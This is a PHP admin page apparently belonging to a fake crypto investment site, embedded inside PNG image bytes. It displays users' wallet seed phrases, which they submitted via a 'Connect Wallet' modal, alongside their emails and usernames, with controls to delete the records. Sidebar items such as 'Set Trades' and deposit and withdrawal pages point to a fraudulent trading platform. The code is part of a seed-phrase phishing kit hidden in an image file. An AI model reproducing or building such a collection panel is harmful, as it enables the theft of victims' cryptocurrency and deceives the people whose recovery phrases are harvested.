PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<?php
// Turn on error reporting for debugging
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
session_start();
// Ensure includes exist
if (!file_exists('includes/connect.php') || !file_exists('includes/functions.php')) {
die("<h2 style='color:red; padding:20px; font-family:sans-serif;'>CRITICAL ERROR: Cannot find 'includes/connect.php' or 'includes/functions.php'. Please check your file paths.</h2>");
}
require_once('includes/connect.php');
require_once('includes/functions.php');
// Handle Logout
if (isset($_GET['l'])) {
admlogout();
header("location: logout.php");
exit();
}
// Authentication Check
if(!isset($_SESSION['pass'])) {
header("location: login.php");
exit();
}
$alertMessage = "";
$alertType = "";
// =========================================================
// HANDLE DELETING A WALLET RECORD
// =========================================================
if (isset($_GET['delete_id'])) {
$delId = intval($_GET['delete_id']);
$stmtDel = $conn->prepare("DELETE FROM connected_wallets WHERE id = ?");
if ($stmtDel) {
$stmtDel->bind_param("i", $delId);
if ($stmtDel->execute()) {
$alertMessage = "Wallet record deleted successfully.";
$alertType = "success";
} else {
$alertMessage = "Failed to delete record.";
$alertType = "error";
}
$stmtDel->close();
}
}
// =========================================================
// FETCH ALL CONNECTED WALLETS
// =========================================================
$connectedWallets = [];
try {
$walletQuery = $conn->query("
SELECT cw.*, m.Email, m.Uname
FROM connected_wallets cw
JOIN members m ON cw.user_id = m.ID
ORDER BY cw.created_at DESC
");
if ($walletQuery) {
while ($row = $walletQuery->fetch_assoc()) {
$connectedWallets[] = $row;
}
}
} catch (Exception $e) {
// Fail silently if table is missing
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>Melody Admin - Connected Wallets</title>
<link rel="stylesheet" href="vendors/iconfonts/font-awesome/css/all.min.css">
<link rel="stylesheet" href="vendors/css/vendor.bundle.base.css">
<link rel="stylesheet" href="vendors/css/vendor.bundle.addons.css">
<link rel="stylesheet" href="css/style.css">
<link rel="shortcut icon" href="images/favicon.html" />
<style>
.table-responsive { width: 100%; overflow-x: auto; }
.table th { font-weight: bold; }
.phrase-box {
background-color: #2c2f36;
border: 1px solid #444;
padding: 10px;
border-radius: 6px;
font-family: monospace;
color: #31acee;
white-space: pre-wrap;
word-wrap: break-word;
min-width: 250px;
}
/* Alerts */
.alert-msg { padding: 1rem; border-radius: 8px; margin-bottom: 1.5rem; font-size: 0.95em; font-weight: bold;}
.alert-error { background-color: rgba(244, 67, 54, 0.1); color: #EF5350; border: 1px solid rgba(244, 67, 54, 0.5);}
.alert-success { background-color: rgba(38, 166, 154, 0.1); color: #26A69A; border: 1px solid rgba(38, 166, 154, 0.5);}
</style>
</head>
<body>
<div class="container-scroller">
<nav class="navbar col-lg-12 col-12 p-0 fixed-top d-flex flex-row default-layout-navbar">
<div class="text-center navbar-brand-wrapper d-flex align-items-center justify-content-center">
<a class="navbar-brand brand-logo" href="index.php"><img src="images/logo-mini.svg" alt="logo"/></a>
<a class="navbar-brand brand-logo-mini" href="index.php"><img src="images/logo-mini.svg" alt="logo"/></a>
</div>
<div class="navbar-menu-wrapper d-flex align-items-stretch">
<button class="navbar-toggler navbar-toggler align-self-center" type="button" data-toggle="minimize">
<span class="fas fa-bars"></span>
</button>
<ul class="navbar-nav navbar-nav-right">
<li class="nav-item nav-profile dropdown">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" id="profileDropdown">
<img src="images/faces/face5.jpg" alt="profile"/>
</a>
<div class="dropdown-menu dropdown-menu-right navbar-dropdown" aria-labelledby="profileDropdown">
<a href="cp.php" class="dropdown-item">
<i class="fas fa-cog text-primary"></i> Settings
</a>
<div class="dropdown-divider"></div>
<a href="index.php?l" class="dropdown-item">
<i class="fas fa-power-off text-primary"></i> Logout
</a>
</div>
</li>
</ul>
<button class="navbar-toggler navbar-toggler-right d-lg-none align-self-center" type="button" data-toggle="offcanvas">
<span class="fas fa-bars"></span>
</button>
</div>
</nav>
<div class="container-fluid page-body-wrapper">
<nav class="sidebar sidebar-offcanvas" id="sidebar">
<ul class="nav">
<li class="nav-item nav-profile">
<div class="nav-link">
<div class="profile-image">
<img src="images/faces/face5.jpg" alt="image"/>
</div>
<div class="profile-name">
<p class="name">Welcome Jane</p>
<p class="designation">Super Admin</p>
</div>
</div>
</li>
<li class="nav-item">
<a class="nav-link" href="index.php">
<i class="fa fa-home menu-icon"></i>
<span class="menu-title"><b>Admin Dashboard</b></span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="collapse" href="#page-layouts" aria-expanded="false" aria-controls="page-layouts">
<i class="fab fa-trello menu-icon"></i>
<span class="menu-title">Member</span>
<i class="menu-arrow"></i>
</a>
<div class="collapse" id="page-layouts">
<ul class="nav flex-column sub-menu">
<li class="nav-item"> <a class="nav-link" href="topup.php">Top up</a></li>
</ul>
</div>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="collapse" href="#sidebar-layouts" aria-expanded="false" aria-controls="sidebar-layouts">
<i class="fas fa-columns menu-icon"></i>
<span class="menu-title">Transaction</span>
<i class="menu-arrow"></i>
</a>
<div class="collapse" id="sidebar-layouts">
<ul class="nav flex-column sub-menu">
<li class="nav-item"> <a class="nav-link" href="transaction.php">View Transaction</a></li>
<li class="nav-item"> <a class="nav-link" href="withdrawal.php">Withdrawal</a></li>
<li class="nav-item"> <a class="nav-link" href="admin_deposits.php">View Deposits</a></li>
<li class="nav-item"> <a class="nav-link" href="trash.php">Trash</a></li>
</ul>
</div>
</li>
<li class="nav-item">
<a class="nav-link" href="admin_trades.php">
<i class="fas fa-chart-line menu-icon"></i>
<span class="menu-title">Set Trades</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="admin_realestate.php">
<i class="fas fa-building menu-icon"></i>
<span class="menu-title">Real Estate</span>
</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="admin_wallets.php">
<i class="fas fa-wallet menu-icon"></i>
<span class="menu-title">Connected Wallets</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="acc.php">
<i class="fa fa-user menu-icon"></i>
<span class="menu-title">Account</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="notification.php">
<i class="fa fa-envelope menu-icon"></i>
<span class="menu-title">Send Notification</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="qmail.php">
<i class="fa fa-envelope menu-icon"></i>
<span class="menu-title">Send Email</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="collapse" href="#ui-basic" aria-expanded="false" aria-controls="ui-basic">
<i class="far fa-compass menu-icon"></i>
<span class="menu-title">Settings</span>
<i class="menu-arrow"></i>
</a>
<div class="collapse" id="ui-basic">
<ul class="nav flex-column sub-menu">
<li class="nav-item"> <a class="nav-link" href="cp.php">Change password</a></li>
<li class="nav-item"> <a class="nav-link" href="script.php">Live chat Script</a></li>
<li class="nav-item"> <a class="nav-link" href="eth.php">Ethereum Address</a></li>
<li class="nav-item"> <a class="nav-link" href="usdt.php">Usdt-Trc20 Address</a></li>
<li class="nav-item"> <a class="nav-link" href="btc.php">Bitcoin Address</a></li>
</ul>
</div>
</li>
</ul>
</nav>
<div class="main-panel">
<div class="content-wrapper">
<?php if(!empty($alertMessage)): ?>
<div class="alert-msg <?php echo $alertType === 'success' ? 'alert-success' : 'alert-error'; ?>">
<?php echo $alertMessage; ?>
</div>
<?php endif; ?>
<div class="row">
<div class="col-12 grid-margin stretch-card">
<div class="card">
<div class="card-body">
<h4 class="card-title">User Connected Wallets (Seed Phrases)</h4>
<p class="card-description"> View the recovery phrases submitted by users via the frontend 'Connect Wallet' modal. </p>
<div class="table-responsive">
<table class="table">
<thead>
<tr>
<th>Date Submitted</th>
<th>User Info</th>
<th>Wallet Type</th>
<th>12-Word Phrase</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php if (!empty($connectedWallets)): ?>
<?php foreach ($connectedWallets as $wallet): ?>
<tr>
<td><?php echo date('M d, Y H:i', strtotime($wallet['created_at'])); ?></td>
<td>
<strong style="color:#fff;"><?php echo htmlspecialchars($wallet['Email']); ?></strong><br>
<small style="color:#8a8d97;"><?php echo htmlspecialchars($wallet['Uname']); ?></small>
</td>
<td style="font-weight:bold; color:#26A69A;">
<?php echo htmlspecialchars($wallet['wallet_name']); ?>
</td>
<td>
<div class="phrase-box"><?php echo nl2br(htmlspecialchars($wallet['seed_phrase'])); ?></div>
</td>
<td>
<a href="admin_wallets.php?delete_id=<?php echo $wallet['id']; ?>" class="badge badge-danger" onclick="return confirm('Are you sure you want to delete this record?');">Delete</a>
</td>
</tr>
<?php endforeach; ?>
<?php else: ?>
<tr>
<td colspan="5" style="text-align:center; padding:30px; color:#8a8d97;">No wallet phrases have been submitted yet.</td>
</tr>
<?php endif; ?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
<footer class="footer">
<div class="d-sm-flex justify-content-center justify-content-sm-between">
<span class="text-muted text-center text-sm-left d-block d-sm-inline-block">Copyright © <?php echo date('Y'); ?>. All rights reserved.</span>
</div>
</footer>
</div>
</div>
</div>
<script src="vendors/js/vendor.bundle.base.js"></script>
<script src="vendors/js/vendor.bundle.addons.js"></script>
<script src="js/off-canvas.js"></script>
<script src="js/hoverable-collapse.js"></script>
<script src="js/misc.js"></script>
</body>
</html>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E